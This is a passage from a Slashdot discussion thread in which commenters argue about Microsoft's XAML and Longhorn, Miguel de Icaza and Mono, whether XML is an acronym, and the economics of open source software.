      Furthermore, Longhorn will only start to have an influence when its the system on most desktops. That is very far from the case even with XP.

    10. Re:XAML is only scary because it's Microsoft by jrumney · · Score: 1

      XWT, like other similar open and closed source solutions that are here now, not whenever Longhorn finally comes out, have the advantage of being cross-platform and simple to use. XAML will be unnecessarily complicated due to Microsoft's efforts to tie it to Windows. A simple solution would be too easy to make cross-platform.

    11. Re:XAML is only scary because it's Microsoft by porter235 · · Score: 1

      Not to mention the farther reaching XHTML2!

    12. Re:XAML is only scary because it's Microsoft by curunir · · Score: 1

      There's also XSWT (though IBM hasn't really shown an interest in supporting it).

      XSWT would end up being as cross-platform as SWT (win32, wince, linux, solaris, qnx, aix, hp-ux and osx)

      --
      "Don't blame me, I voted for Kodos!"
  22. Princess Bride flashback, anyone? by Anonymous Coward · · Score: 1, Funny

    Mr. Gates,

    My name is Miguel De Icaza, and you killed my father...

    1. Re:Princess Bride flashback, anyone? by heathcaldwell · · Score: 1

      Sorry.
      Miguel De Icaza sounds nothing like Inigo Montoya.
      Nice try, but no cigar.

      - Heath Caldwell

    2. Re:Princess Bride flashback, anyone? by Anonymous Coward · · Score: 0

      well how about we tell the 6 fingered man, bill gates, that we are using the trusty 5-fingered discount on his software.

      p2p is dead, longlive usenet

  23. De Icaza really talkative these days... by haggar · · Score: 0, Insightful

    In the last 6 months he gave more interviews and opinions (even when not asked) than ever before, combined. Apparently, he enjoys the spotlight.

    Understandable, but not necessarily very professional.

    Could he, at least once, address the issue of KDE's future, now that the largest supporter is within Novell, and Ximian has a say, too.

    --
    Sigged!
    1. Re:De Icaza really talkative these days... by 0x0d0a · · Score: 1

      In the last 6 months he gave more interviews and opinions (even when not asked) than ever before, combined. Apparently, he enjoys the spotlight.

      Understandable, but not necessarily very professional.


      He's been dealing with a year and more of rampant misinterpretation of what he's doing and working on. If I were him, I'd be giving explanatory interviews left and right as well.

    2. Re:De Icaza really talkative these days... by davidle · · Score: 0

      Could he, at least once, address the issue of KDE's future, now that the largest supporter is within Novell, and Ximian has a say, too.

      Given that he doesn't talk about KDE or Gnome, and shifts emphasis away from it, I think we all know what the future of KDE/Suse/Novell will be :).

    3. Re:De Icaza really talkative these days... by CRCulver · · Score: 1

      iven that he doesn't talk about KDE or Gnome, and shifts emphasis away from it, I think we all know what the future of KDE/Suse/Novell will be :).

      Indeed, it almost seems like Miguel today is a totally different person then the earnest and admirable young hacker of some years ago. He started GNOME because he believed strongly in the ideals of GNU and wanted to help the developing world with Free Software. Now he's essentially turned his back on the GNU vision and is hobnobbing with a bunch of corporations who aren't sympathetic with Free Software even though they occasionally condescend to use the GPL. I understand he wants desktop interoperability, but it would be great if he could come back to focusing GNOME so that we could have a desktop which is tightly linked with the GNU project.

  24. Yeah, it looked like: "Miguel de Icaza has Mono" by boomgopher · · Score: 1




    --
    Your hybrid is not saving the environment. Its purpose is to make you feel good about buying something.
  25. XML == acronym ? by CAIMLAS · · Score: 1

    So, what does everyone here say? Is XML an acronym?

    I've had an ongoing discussion with a friend on this matter for weeks, and it needs closure.

    I say XML is an acronym. He says it's only an abbreviation. I'm not even sure what he's saying anymore. He's said things such as "SoCal is an acronym", and I'm a bit confused.

    If you'd care to reference the words "acronym", "initialism", "abbreviation", and "word" in Webster's Dictionary (and whatever other dictionaries you use), it'd be helpful.

    Anyway: is XML (and other "non-pronounceable" initialisms such as SMTP, FBI, et al) an acronym, or do acronyms have to be pronounceable (such as NASA, FUBAR, etc.), making XML simply an abbreviation?

    --
    ~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
    1. Re:XML == acronym ? by driftingwalrus · · Score: 1

      From my reading of the deffinitions, it appears that XML would be an acronym, which is a *type* of abbreviation. So, technically, you both are correct.

      --
      Paul Anderson
      "I drank WHAT?!" -- Socrates
    2. Re:XML == acronym ? by shadowmatter · · Score: 2, Informative

      "Non-pronouncable" abbreviations, such as SMTP and FBI, are initialisms.

      "Pronouncable" abbreviations, such as NASA and FUBAR, are acronyms.

      And if I remember it correctly, that was the gospel, straight from my Linguistics 10 professor's mouth ;)

      XML is an initialism. XAML, although it looks like an initialism at first, is actually an acronym (pronounced "Zammel").

      - shadowmatter

    3. Re:XML == acronym ? by Anonymous Coward · · Score: 0

      I'd say M$ should be sued for using an acronym which differs only 1 character from the well-established "xml".

    4. Re:XML == acronym ? by Anonymous Coward · · Score: 0

      Basically, you both are right, although I lean in your favor of calling "XML" an acronym because it is certainly more SPECIFIC than calling it an abbreviation.

      "SoCal," however, is probably more a colloquialism (isn't that a fun word to use? and I spelled it right the first time woohoo!) than anything, but I'd guess it could be classified as an abbreviation by the dictionary definition.

    5. Re:XML == acronym ? by Anonymous Coward · · Score: 0

      LOL, ROFLMAO! IMHO XAML & XUL are both initialisms and acronyms. IANAL, LOL, WTF?

    6. Re:XML == acronym ? by Ralph+Yarro · · Score: 1

      The original meaning of "acronym" was something along the lines of "a word formed from the initial letters of other words". Obvious examples would be laser, sonar, radar and scuba. Groups of initial letters that could not pronounced as words were not acronyms as they were not words.

      However, about 20 years ago more and more people who were far too stupid to be capable of remembering more of the definition than "doesn't it have something to do with initial letters?" started to encounter home computers. Lots of the terminology of home computers used initial letters, sometimes acronyms, more often not. "Oh my god", screamed these people, "look something with initial letters in it! that must be an acronym.".

      English is a living language and evolves through use. Today acronym can reasonably be taken to mean "something to do with initial letters isn't it?". So you're right, your friend is out of date.

      --

      The real Ralph Yarro posts as Anonymous Coward. Anyone else is an impostor.
    7. Re:XML == acronym ? by Anonymous Coward · · Score: 0
      Your friend is a dunce.

      SoCal is an abbreviation, not an acronym.

  26. Why all this admiration of MS tech? by miffo.swe · · Score: 3, Insightful

    I dont get it, MS has failed numerous times before with "exciting" new technologies and i dont really understand why they are bound to success now. XAML might as well just be a failiure. Is it really a threat to linux? Not today and not tomomorrow since its just wapourware on paper as of today. Net was supposed to be the answer to everything but hasnt really gotten much of a foothold yet.

    Sometimes i wonder if Miquel is just a pawn in a game and doesnt understand it. There are more than one way to skin a cat and i find it appaling that we should mimic Microsoft at all times and play catch-up instead of setting the pace and standards ourselves.

    Maybe thats what Microsoft is most afraid of, to loose control over the heading of the software industry. Open source have control over web servers and can take control over the protocols on the web if we just do our own thing. If we only follow what Microsoft do we will always be number two and thats no where to be.

    --
    HTTP/1.1 400
    1. Re:Why all this admiration of MS tech? by sumdumass · · Score: 2, Interesting

      I'm not sure if it is a real big threat to linux or *nix operating systems. One thing i am sure of is it is sucking off of the energy of XML and all the buzz around it. It wouldn't surprise me at all if they convince everyone that they (microsoft) created the XML principle/language. .net fizzled out because most people couldn't see any practicle benefits or uses for it outside what is already being done. It was a marketing campain with no products that could be seen/ or diferentiated from whats already there. Most people looked at it like it was visual c++ with a .net after it to ride on the .com waves that also fizzled out. Also the .net was marketed at the wrong people. The majority of the marketing was directed at the PHBs and the system administrators that didn't do any programing and was in turn left wondering exactly what it was they were selling.

      Microsoft has already applied for a patten on ways to use XML so it could be possible that they will try to just lock everyone out of cross platform development or somethign simular. One of the main benifits i see comming from mono and the use of XML or XAML is that it shouldn't be too hard to get programs to run on any system the way they were designed to run. I mean application A will look and act like application A on windows, linux, Mac and so on. One of the most common exuses i hear about why people won't use linux today is because of programs not crossing over. "if i can't run photoshop i'm not even going to look at it" or "but the menus and everything are different. i can't find anything, the windows version is better" does anynthing here sound familier?

      If microsoft does find a way to leverage this to a new standard, it would really suck to be playing catchup later on down the road. I think linux and the people involved have, on several occasions, developed a much better technoligy and in some cases should be the better standards. What they lack is the marketing to drive that piont home with the people making the buying decisions in the larger companies, and we all know that the smaller companies need to be compatible with the larger ones. After you discount the monopoly position you still have to contend with being able to interoperate with those that have what you want.

    2. Re:Why all this admiration of MS tech? by omicronish · · Score: 4, Interesting

      I dont get it, MS has failed numerous times before with "exciting" new technologies and i dont really understand why they are bound to success now.

      And Microsoft has succeeded numerous times with technologies too, such as DirectX and I suppose COM considering its widespread usage throughout the Windows OS. They've failed in the past, they've succeeded in the past. XAML can do either.

      XAML might as well just be a failiure. Is it really a threat to linux? Not today and not tomomorrow since its just wapourware on paper as of today.

      There are a couple articles on MSDN that discuss XAML and provide sample code, such as this XAML RSS reader. Longhornblogs regularly has XAML-related entries, most of which link to code, a sample executable, and screenshots. XAML is definitely not vapourware. It exists and people are using it.

    3. Re:Why all this admiration of MS tech? by _Sprocket_ · · Score: 1


      Maybe thats what Microsoft is most afraid of, to loose control over the heading of the software industry. Open source have control over web servers and can take control over the protocols on the web if we just do our own thing.


      This shouldn't be a suprise. Of course Microsoft wants to dominate and control the industry. Obviously, it better guarantees profit. But Microsoft is far beyond worrying over the next Quarterly Report. This is really about who calls the shots on the direction of the Industry. If Microsoft can maintain dominance, it will find it easier to enact its vision for the future by laying it down as a defacto standard.

      There is a subtle point to this issue. Open Source is not simply a competitor to Microsoft. It is a fundimental threat to its entire business.

      Linux (and perhapse the BSD's) threaten to turn the OS in to a commodity. Remember that Microsoft rose to dominance on the raising tide of commodity hardware. That process happened because IBM misjudged the importance of microcomputers, rushed to market with a mostly OTS platform, and then lost control of that platform. If the OS goes the same route as microcomputer hardware, then Microsoft will find itself in the same position as IBM. A major player in the IT Industry... but no longer calling the shots.
    4. Re:Why all this admiration of MS tech? by Anonymous Coward · · Score: 0

      Not to be redundant to some of the other replies to your post, but...

      XAML ain't vapourware. I've been working with XAML for some time now, and if you showed up at the recent Microsoft PDC you'd have a build of longhorn with Avalon technologies in your hands. This is the real deal -- a real markup + managed code development platform that performs admirably for a narrow but important range of development tasks (typically data-backed forms-based apps.)

    5. Re:Why all this admiration of MS tech? by Illissius · · Score: 1

      The point is that we can't tell whether it will succeed, but if it will, then it will be a huge, and it's hard to emphasize it enough, *HUGE* setback for FOSS. The WWW will have effectively become a propriety Microsoft product. Think about that for a bit.
      And the other thing is if Microsoft really wants it to succeed (and they probably do), then they have the resources to just throw money at it until it does, because for them, it's worth it.

      --
      Work is punishment for failing to procrastinate effectively.
    6. Re:Why all this admiration of MS tech? by Mr.+Piddle · · Score: 1

      Vote Daffy Duck for president, he'll sure do a better job.

      Yeah, but when they find out Elmer Fudd is the VP, they realize it's the whole same thing all over again.

      --
      Vote in November. You won't regret it.
  27. Not inappropriate by Chuck+Chunder · · Score: 1
    --
    Boffoonery - downloadable Comedy Benefit for Bletchley Park
  28. Re:peoplesprimary by Armadillo007 · · Score: 1

    Ooops! Good thing most of use aren't running windows!

  29. There is no competition to open source by int2str · · Score: 4, Insightful

    Miguel (and others) tend to over emphesise "competition" and "threads" to open source. In my opinion, there is no such thing. In fact, I would go as far as saying that his focus on XAML and other "competing" technologies is the only thread to open source.

    Open source is _not_ about competing with anybody else. It is _not_ the goal to create a competing technology to win market share or anything. Open source is an exercise in technology, invention and freedom.

    Why should we fear XAML or widespread adaptation of it? And why should we therefore pursue clone technologies?
    We dont have the pressure to compete in any market place! We can look at the software _we_ use and see what we can do better. Maybe an XAML like technology is good. Lets think about the ideas. But maybe it isnt good, then lets do something else. You decide, not some abstract competition.

    Technologies like Linux, Mozilla (XUL+++), etc. came not from the desire to do something that could lure _others_ away from somebody elses technology, but to enable the developer to use hard and software they way he wanted to and the way he thinks others may want to use it. Yes, open source takes lots of ideas, but then they are made better and often different. The drive should come from within, from excitement about the technologies and new ideas.

    Instead of worrying about what others might do and how others will perceive our software, we should get excited about it ourselfs first and make it good and work well. There is no fight, there is no competition. Dont waste your thoughts about others, think about how you can realize your own ideas and make them better.

    Maybe then we can focus on and enjoy development again.
    Let others sleep bad at nights worrying about "the competition".

    Regards,
    Andre Eisenbach

    1. Re:There is no competition to open source by Skjellifetti · · Score: 1

      Well put.

    2. Re:There is no competition to open source by int2str · · Score: 1

      Sorry about the spellin - it's late :(

    3. Re:There is no competition to open source by Ogerman · · Score: 4, Insightful

      Open source is _not_ about competing with anybody else. It is _not_ the goal to create a competing technology to win market share or anything. Open source is an exercise in technology, invention and freedom.

      That stupid philosophy is precisely the reason why OSS isn't moving faster and providing more geeks with jobs writing Free code rather than proprietary. Yes, OSS is an exercise in technology, invention, and freedom. But, at the same time, that exercise is worthless if it doesn't significantly improve the state of the industry / society. To do that, it must garner market share because that is the only way to diminish the forces that work against freedom. Do you quite realize that if OSS does not dominate the industry in the fairly near future, the powers that be will effectively make it illegal to write software unless you work for a large corporation with patent portfolio cross-licensing? Do you quite realize that an industry dominated by OSS would be a much more pleasurable one to work in? There is far more at stake here than academic toys and utopian musings. Get out of your bubble.

    4. Re:There is no competition to open source by davegust · · Score: 1

      Technologies like Linux, Mozilla (XUL+++), etc. came not from the desire to do something that could lure _others_ away from somebody elses technology, but to enable the developer to use hard and software they way he wanted to and the way he thinks others may want to use it.

      You chose a poor example with Mozilla/Gecko. It was developed primarily by Netscape (yes, they did the heavy lifting) to compete in the marketplace against Microsoft. Other contrary examples would be the backbones of much the open software movement, mySQL and Java - both developed by corporations and released as open source loss-leaders to lock users into their technology. Even the Apache HTTP Server home page displays the project's sensitivity to market position by headlining with "The Number One HTTP Server On The Internet"

      Competition, in the marketplace and in other venues, is the backbone of a capitalist society. You can rest assured that many successful open-source projects have owners that feel tremendous pressure to compete against for-profit companies, other developers, or other OSS projects.

      There is very little altruism in the world. The open source microcosm is no exception.

    5. Re:There is no competition to open source by ndykman · · Score: 1

      I disagree to a point. Competition is part of a lot of Open Source now. When the major Open Source communities made and embraced partnerships with major companies (not to mention new companies like RedHat) like IBM, Novell, etc, etc. and when contributions from those companies was accepted alongside those companies' resources and money, when they sell and/or profit from products based on open source, it's no longer just about making software as an exercise.

      The reason SCO sues over Linux? Because IBM, etc. uses it to sell servers, and IBM has lots of money. Why Sun, Microsoft, (place company here) can/may/will(?) sue in the future? Because IBM, etc. uses it. And you can't go back unless you start over.

      Also, software was already established as a product. Like most speech, it doesn't have to be free (as in free beer). You can sell books, newspapers, and so on. You can sell software.

      Frankly, my problem is that the Open Source community seems to be more than happy to let any company use their work to boost their profit margins, without demanding anything in return. And we wonder why companies are willing to send software development to the lowest bidder?

      Karma be dammed time.

      Because the Open Source is seen by some as sending the clear message that software is not hard to make, that cool stuff can be done for free, so why not give it the lowest bidder? I mean, look at all the stuff they give away and people just make in their spare time? A Unix OS, Office Tools, Apache, etc. It's so cheap (hell, free), it must be easy to make, right?

      That's not the case. If the OS community demanded compensation for commerical use (or just disallowed commerical use), the message could be different. This is not easy to do. In fact, we do it this way to pool vaulable resources from everywhere we can get them to make software, and while we choose to allow certain users to use the software without cost, or more reasonable costs (I'd restrict free use to educational or personal use at the most, sliding scale, etc.) it does not mean that you can use our valuable efforts to gain profit without consideration in return.

      In fact, I believe that since Linux and other Open Source projects have allowed commerical gain, they should own up to the fact that they are in business, and they should start acting like it.

      And, yes, right now in America, that does mean charging money, making profits, and using that money to benefit the people that helped you. That's really loosey goosey, I understand.

      There is implied social contract right now. You employ people. You can use their work to make profits. You can't just take things for free and not face consequences. (You may get away with it, but you may end up defending your actions. MS did. It won, but it could have lost).

      I'm sorry, but Linux, Apache, OpenOffice, etc. are all to the point in which they have commerical value and are being used commerically, and you can't just pretend that's not the case when it isn't convienent. For example, if MS sues you for market dumping.

      Maybe it's time to think about growing the software market by selling these products at a reasonable rate, instead of just shrinking the market by giving away software to reduce MS or commerical Unix market share. Sure, it's a good size pie to redistribute, and MS has lots of share to lose, but isn't is much better to make a bigger pie for everybody to share?

      There is lots of talking about software as a commodity. Well, even commodities have a price. They must be brought. The market sets the price. Giving away things undercuts the market. If you didn't want to deal with the market, Linux, etc should have never, never allowed any commerical use.

      I think that Linux people are going to realize the true price of having IBM, Novell, etc. get on board. For one, it is no longer about technology, invention and freedom. It's now about business. Like it or not.

      I appreciate that the GPL adds complications to this, but it is possible that yo

    6. Re:There is no competition to open source by 0x0d0a · · Score: 1

      Open source is _not_ about competing with anybody else. It is _not_ the goal to create a competing technology to win market share or anything. Open source is an exercise in technology, invention and freedom.

      In a competitive world, that would be true. The problem is that the company in question is Microsoft, and traditionally, if Microsoft gets control of a market, they use it to club everyone else to death and establish barriers to entry.

      It's *much* easier if they never establish a solid foothold in the first place.

      It's not pure chance that so many people dislike Microsoft.

    7. Re:There is no competition to open source by seguso · · Score: 1
      Open source is _not_ about competing with anybody else. It is _not_ the goal to create a competing technology to win market share or anything. Open source is an exercise in technology, invention and freedom.

      Why should we fear XAML or widespread adaptation of it? And why should we therefore pursue clone technologies?

      Because we won't be able to surf the internet with linux anymore.
    8. Re:There is no competition to open source by BiggerIsBetter · · Score: 1

      Interesting perspective, but I'm calling "business mentality" on it. Indeed, those folks who think that hundreds or thousands of contributors working on software such as Apache or Linux constitutes the same thing as offshoring to the lowest bidder clearly have no clue how this all works. It's not about cost, it's about gaining mindshare. Sure, it might be free and all, but your project's getting access to some very smart people from all around the globe.

      Claiming that if something has "business value' that it *must* be paid for is just not true. It's very likely how your world works, but it's not the same rules in my world. People write neat stuff all the time, sometimes they sell it, and sometimes they don't. The business value isn't in the code, it's in the support and implementation.

      Also, you make a note of MS using anti-dumping laws, well how about Sun Microsystems? They sell Star Office, but gave away the very core of that product to OpenOffice.org. Maybe they should sue themselves? Sun has value by selling support and a slightly beter product. MS has value by churning out screeds of MSCEs to support their stuff. I expect that you'll be able to pay someone to teach your department OpenOffice.org too, if needed.

      The point is that although other people might be making money by using it, or you might be making money on training for it, free software is still free. It's not like it grows to point where it's useful and then suddenly different rules apply, or it's only allowed to be free if it doesn't compete (in the market sense) with someone else trying to sell something similar.

      The rules changed with the popularity of open source software, and because we're not dealing with "real" things many production comparisons just don't apply. A small development shop would be silly to try to take on a multinational venture with a hundred experienced staff, but that's what some folks seem to want to do. Software is ultimately abstract stuff, and we can play the game anyway we like now - if you don't like it anymore, get out of the software industry.

      BTW, there are licenses such as the Creative Commons license that would possibly fit your needs, but hey, the (L)GPL works for me 95% of the time. If you want "a piece of the pie" when people make a buck using free software you were involoved with, consider where "your" software came from - how much did you pay for you compiler, libraries, tutorials, example code, base code even? What goes around comes around.

      --
      Forget thrust, drag, lift and weight. Airplanes fly because of money.
    9. Re:There is no competition to open source by mrchaotica · · Score: 1

      We have to worry about XAML, because Microsoft will try to use it to lock us [linux users] out of the Internet itself (or at least XAML web sites, which, if we do nothing lik you suggest, will eventually become a de-facto standard)

      It doesn't do any good to have our nice open-source software if we can't USE it for anything!

      --

      "[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz

    10. Re:There is no competition to open source by ndykman · · Score: 2, Insightful

      That's a good point about the tools. Probably makes sense to "give away" the base tools if you want to have a market for software. Given that MS just gave away the C++ compiler for Windows.

      I agree that people misread how Open Source works, but how do you address that? Given those people that misread it are probably blinded by dollar signs, so maybe the only way to get them to get it is to attach dollar signs to it, I fear.

      The problem I have with making money of support is that the hard part isn't support, especially if the product works pretty well. Support does not require the skill and training that software development does at this point.

      As for MS, MS hasn't ever sued for market dumping, I don't think. Netscape kind of sort of did, but it was a monopoly issue in addition. Kind of hard for MS to call market dumping at this point. Call us when you've lost 20% is probably the response they'd get.

      I'll have to look at StarOffice vs. OpenOffice.

      I think there is a point in which that free software becomes less free after a certain amount of corporate adoption. Especially if it's add some stuff to free stuff and sell it, GPL or not.

      And I do think lots of people in Open Source are trying to grow the pie, but I worry that it's not really working, because there is too much "get MS" mentality vs. "Do good stuff" out there.

    11. Re:There is no competition to open source by killjoe · · Score: 3, Insightful

      "That stupid philosophy is precisely the reason why OSS isn't moving faster "

      Define "isn't moving faster". It's moving a lightning speed. It's being adopted by all major IT companies except one. Even the unmentionable company is flirting with pseudeo OSS. Exactly how fast were you expecting it to move anyway?

      --
      evil is as evil does
    12. Re:There is no competition to open source by BiggerIsBetter · · Score: 1

      I'm not sure how to address it. I don't think it can be addressed without getting into lawsuits... a bit like the current problem with companies using GPL'd software without adhearing to the license. Business is such that if someone sees an opportunity, they'll weigh the risks and take it. If the risk is being told off by a bunch of geeks, who's gonna care about that?

      The idea of free becoming non-free is something that'd been niggling in the back of my mind. The Novell situation in particular. If a time comes when Novell or subsiduary says "MINE!" to whatever components, you have to be very sure that nobody contributed something under the GPL and isn't getting screwed by a license or dual-license arrangement (I have the same problem with MySQL, BTW).

      --
      Forget thrust, drag, lift and weight. Airplanes fly because of money.
    13. Re:There is no competition to open source by ndykman · · Score: 1

      Yea. It's an issue, especially if the company has enough in it to try and break the GPL as a way out of the mess they may have created it.

      Even worse, as a side effect, the GPL could get toasted as a larger contract dispute. "They violated this license here! See!" (Judge looks at it...) "Well, that's too bad, because I don't think that license is legal." "Hey!" "Don't like it? Appeal." And the judge does it in the context of one case, and doesn't think about the ramifications outside that case. Erk.

    14. Re:There is no competition to open source by Ogerman · · Score: 1

      Define "isn't moving faster". It's moving a lightning speed. It's being adopted by all major IT companies except one. Even the unmentionable company is flirting with pseudeo OSS. Exactly how fast were you expecting it to move anyway?

      I don't share your optimistic appraisal on the "lightning speed" bit. Yes, OSS is moving faster than it ever has before, but it's not enough. It's certainly not a revolution yet. Sure, there are a lot of large, high-profile companies utilizing Linux in one form or another. (and note the distinction.. usually Linux, not OSS) Yes, there are a lot of smaller companies using Linux / OSS in some capacity to meet some of their needs. But the fact is, OSS has the potential to grow exponentially and it's not. It's not for one reason: not enough people are being paid to do full-time OSS development. Why is that? Because too many geeks treat it like a toy and not a career. You can't expect change when you desire OSS but then go work a day job writing proprietary software. For all the brains in the OSS community, there sure is a lack of business intelligence in exploring the many ways to make a career out of supporting or developing Free software.

      Open Source will be working when companies worldwide are ditching Windows / Office and other common proprietary desktop software en masse. Open Source will be working when collaboration among consultants to write modular business software is the norm. (think 'Apache') Open Source will be working when most job descriptions drop the acronyms .NET, VB, and MCSE. Open Source will be working when it represents the ethos of almost every IT department.

    15. Re:There is no competition to open source by killjoe · · Score: 1

      Open source is not a career. I don't know who told you it was but you need to disabuse that notion.

      "Open Source will be working when companies worldwide are ditching Windows / Office and other common proprietary desktop software en masse."

      That will happen in about two years. It will start this year with the risk taking companies and tech companies. In 2005 the migration will speed up immensely. In 2006 linux will be on roughly 20 to 25% of all corporate desktops.

      --
      evil is as evil does
    16. Re:There is no competition to open source by Ogerman · · Score: 1

      Open source is not a career. I don't know who told you it was but you need to disabuse that notion.

      Is that why I make my living doing Open Source consulting and paid development? Darn, guess it's not a career.. I'll have to do something else now. Thanks for enlightening me, but my clients will be very disappointed.

  30. Apple did this (minus XML) in 1988 by msgilligan · · Score: 2, Interesting
    Apple had a product in 1988, with the confusing name "MacWorkstation", that let a host application send text messages to a Macintosh and create a rich-client GUI for a mainframe application. If I recall correctly, you would write the event loop in COBOL (as well as other languages) on the server.

    It was expensive, didn't have the simplicity of HTML as a starting point and, perhaps, was a little ahead of its time. (Client/Server was still catching on.) The fact that few mainframe guys liked Macs may have been a factor, too.

    Links:

    "The only problem with the MacworkStation [a software program] is that instead of making it a public domain standard, Apple is licensing the source code for $1500 to 'interested' parties" - MacTech Magazine archived article

    Apple Computer History Weblog

    1. Re:Apple did this (minus XML) in 1988 by Anonymous Coward · · Score: 0

      There's tons of apps that do this. "Screen-scrapers".

  31. The advantages of taking MS seriously... by ndykman · · Score: 5, Insightful

    One thing I really give Miguel credit for; he is more than willing to put up with the political heat and flak for taking MS ideas seriously and seeing how they could apply to the Linux/Open Source/GUI world.

    Given the popularity of Perl, Python, etc, it makes sense for a language independent VM and libraries for programming. Is the CLR the best for this? Well, no, but there's a good case that it is best thing right now, or at the least, good enough!

    I think a killer Open Source project would be port Java over to the CLR. To be really evil and fun, make it a JVM->CLR rewriter. Of course, Sun will sue you like mad, but that not why it wouldn't happen (it helps MS too much), but it would break Sun's hold on Java a bit more. Especially with Mono in the mix.

    And now to for the flamebait (This is a post with MS stuff it in, after all).

    Microsoft does have true innovations in Longhorn. (See, I told you). And it is worth paying attention to and evaluating. Passing it off as vaporware or FUD isn't wise, considering the bits are getting into people's hands right now.

    XAML is nicely balanced and really seems like the first truly usable markup-based GUI language (XUL was close, but not close enough. I think it'd be much more popular otherwise).

    Avalon is nice, not totally groundbreaking, but it does kill bitmap-based windowing, and I haven't seen anything that suggest that Linux world is pulling that trigger yet. (X being a obstacle in the way) Apple did, and the results speak for themselves I think.

    WinFX has some very interesting ideas in how you structure components, and has the chance to become the next big thing in components (after COM. Another Microsoft innovation! Flames rising).

    Finally, WinFS is very, very cool stuff, even as vaporware. I'm not surprised they had to scale it back, because what there are doing is nothing short of rethinking the file system from the ground up. This is a bold thought to take seriously. The notion of extensible metadata alone is powerful. (Before, file metadata was fixed.) Add in searching, extensible relationships, etc and you have something worth paying attention too.

    This is innovation, in my book. Invention is coming up with those rare new ideas. I see innovation is taking those ideas and making them applicable, or practical, affordable, widely available, better, used by many and so on.

    I think Ford was an innovator for creating a practical way to mass-produce cars. He didn't invent the car, he made it a reality for many.

    Microsoft has done that, for better or for worse. Not all innovation is a priori good for all.

    Of course, one should never obsess with what MS is doing to the determent of all else. Pay attention, but focus on doing what you can do best, and let the chips fall were they may.

    1. Re:The advantages of taking MS seriously... by Anonymous Coward · · Score: 0

      What I am looking foward to is how MS vaporware gets developed, modified, and perfectin in Linux even before MS starts shipping it's beta OSes with features dropped.

      What is it going to look like when Linux's Mono/Gnome/Mozilla/XAML intergration going to be better then MS's Avalon/Longhorn/.Net?

      That's when I am going to be laughing my ass off.

      What? Longhorn has dropped quite a few features already, Sun has gotten us a futuristic 3d desktop for Linux in the wings, WinFS is turning out to be mostly vaporware with it only being integrated into the desktop experiance, instead of the whole .Net internet, DRM crap that it once promised.

      Hell, MS can't even port their own OS to x86-64 on a timely basis. How long has x86-86 versions of Suse been around? And how big is Suse compared to Microsoft?

      If MS can fullfil their promises and turn vaporware into reality, then Windows will have a major coop again and permenately render all other remaining OS's to niche markets perminately.

      Luckly much of MS's vaporware remains vaporware and they haven't been able to fullfill their promises in the past.

      Anybody remember how MS said that WinXP was the most secure OS to date?

    2. Re:The advantages of taking MS seriously... by Anonymous Coward · · Score: 1, Interesting

      Anybody remember how MS said that WinXP was the most secure OS to date?

      Definitely not close to the most, but with Service Pack 2 RC1 and the built-in firewall enabled, Windows XP appears to be alot more secure in my initial testing.

    3. Re:The advantages of taking MS seriously... by ajayvb · · Score: 1

      There is one thing people really don't realize, esp. here on Slashdot. Microsoft is full of some VERY smart people. You should see the rolls of the guys they've poached off the top companies and universities in the past few years, notably at the higher levels (Software Architects, Researchers) . I've had a couple of guys come to lecture in my school. They're good, their viewpoints make sense, and it's obvious, that M$ takes its vision thing seriously.
      If they were doing anything they claim as revolutionary, I would look at it very seriously, and not dismiss it outright. Admitted, they've made their share of big goof-ups in the past, but hell, they've bounced back much better than any other companies who made those kind of mistakes.
      At least XP's service pack didn't break my existing sound-card setup which it had detected and installed. Can't say the same about Fedora Core 1's up2date.

    4. Re:The advantages of taking MS seriously... by Anonymous Coward · · Score: 0

      >>>"I think a killer Open Source project would be port Java over to the CLR. To be really evil and fun, make it a JVM->CLR rewriter. Of course, Sun will sue you like mad, but that not why it wouldn't happen (it helps MS too much), but it would break Sun's hold on Java a bit more. Especially with Mono in the mix."

      J# runs Java on the CLR - NOBODY USES IS. Just to prove the point a search at Google for "J# programming" yields 148 hits. A search for "Java programming" returns 1.2 Million hits.

      Java programmers have ZERO interest in running Enterprise Java apps on the .NET CLR. It doesn't make any sense. Java's JIT compiler is at least a generation ahead of the .NET JIT. The .NET JIT can't inline code to save it's life. The .NET JIT is more or less where the Java JIT was in 1998 - (non optimizing) - MS is rumoured to be working on a optimizing JIT though.

      There seem to be lots of people suggesting that "C# is faster than Java" because "C# is Compiled and Java is interpreted". This is just PLAIN WRONG. C# (and the other .NET languages) sources compile to an intermediate language known as MSIL (Microsoft Intermediate Language). Just because the file extensions or .NET applications and libraries are ".exe" and ".dll" doesn't mean that they contain native code - they simply contain MSIL code. Similarly Java source compiles to Java Bytecodes. Both the MSIL and the Bytes codes are then evaluated and JIT compiled at runtime. This is done by the CLR and JVM respectively. .NET does come with a tool called ngen. This simply compiles the MSIL code to native code and caches it (this is done ahead of time by the developer, not at runtime). No extra optimizations take place, only the same old code which would have been emitted by the JIT (in fact it used the same compiler). This is not the same as as the optimized code that would be emitted by a traditional static compiler such as for C++.
      This isn't anything to get really exited about as it only helps (a bit) with the load time, but does NOTHING to improve the execution speed of the code.

      Static compilers for Java are availible such as GCC (does not support full class library though) and JET (http://www.excelsior-usa.com/jetdev1.html). Most people just use Sun or IBM's JVM as they are both very fast - especially for serverside applications.

      To suggest that it is beneficial for most people to run their code on the CLR is just plain silly. Most Java programmers have no concerns over
      "Sun's hold on Java". The whole process is a lot more open than .NET. Just look at the bugParade page for Java where bugs (both resolved and unresolved) are listed and publicly available for comment. The source for Java comes with every JDK (src.zip). Perhaps YOU should consider Microsofts hold on .NET (*ahem* patents *ahem*).

      Java has enormous inertia behind it with companies like IBM, Oracle, Sun, etc. etc. Similarly Microsoft is backing THEIR .NET products strongly. The .NET vs J2EE debate is about the serverside and distributed components. This is where J2EE currently rules the roost. .NET is currently working on gaining some marketshare.
      An incompatible .NET port like mono isn't exactly something sensible serverside enterprise programmers would even look at. For starters it doesn't even have a JIT for Solaris. This being essential for large enterprises who run Sun hardware.

    5. Re:The advantages of taking MS seriously... by ndykman · · Score: 2, Informative

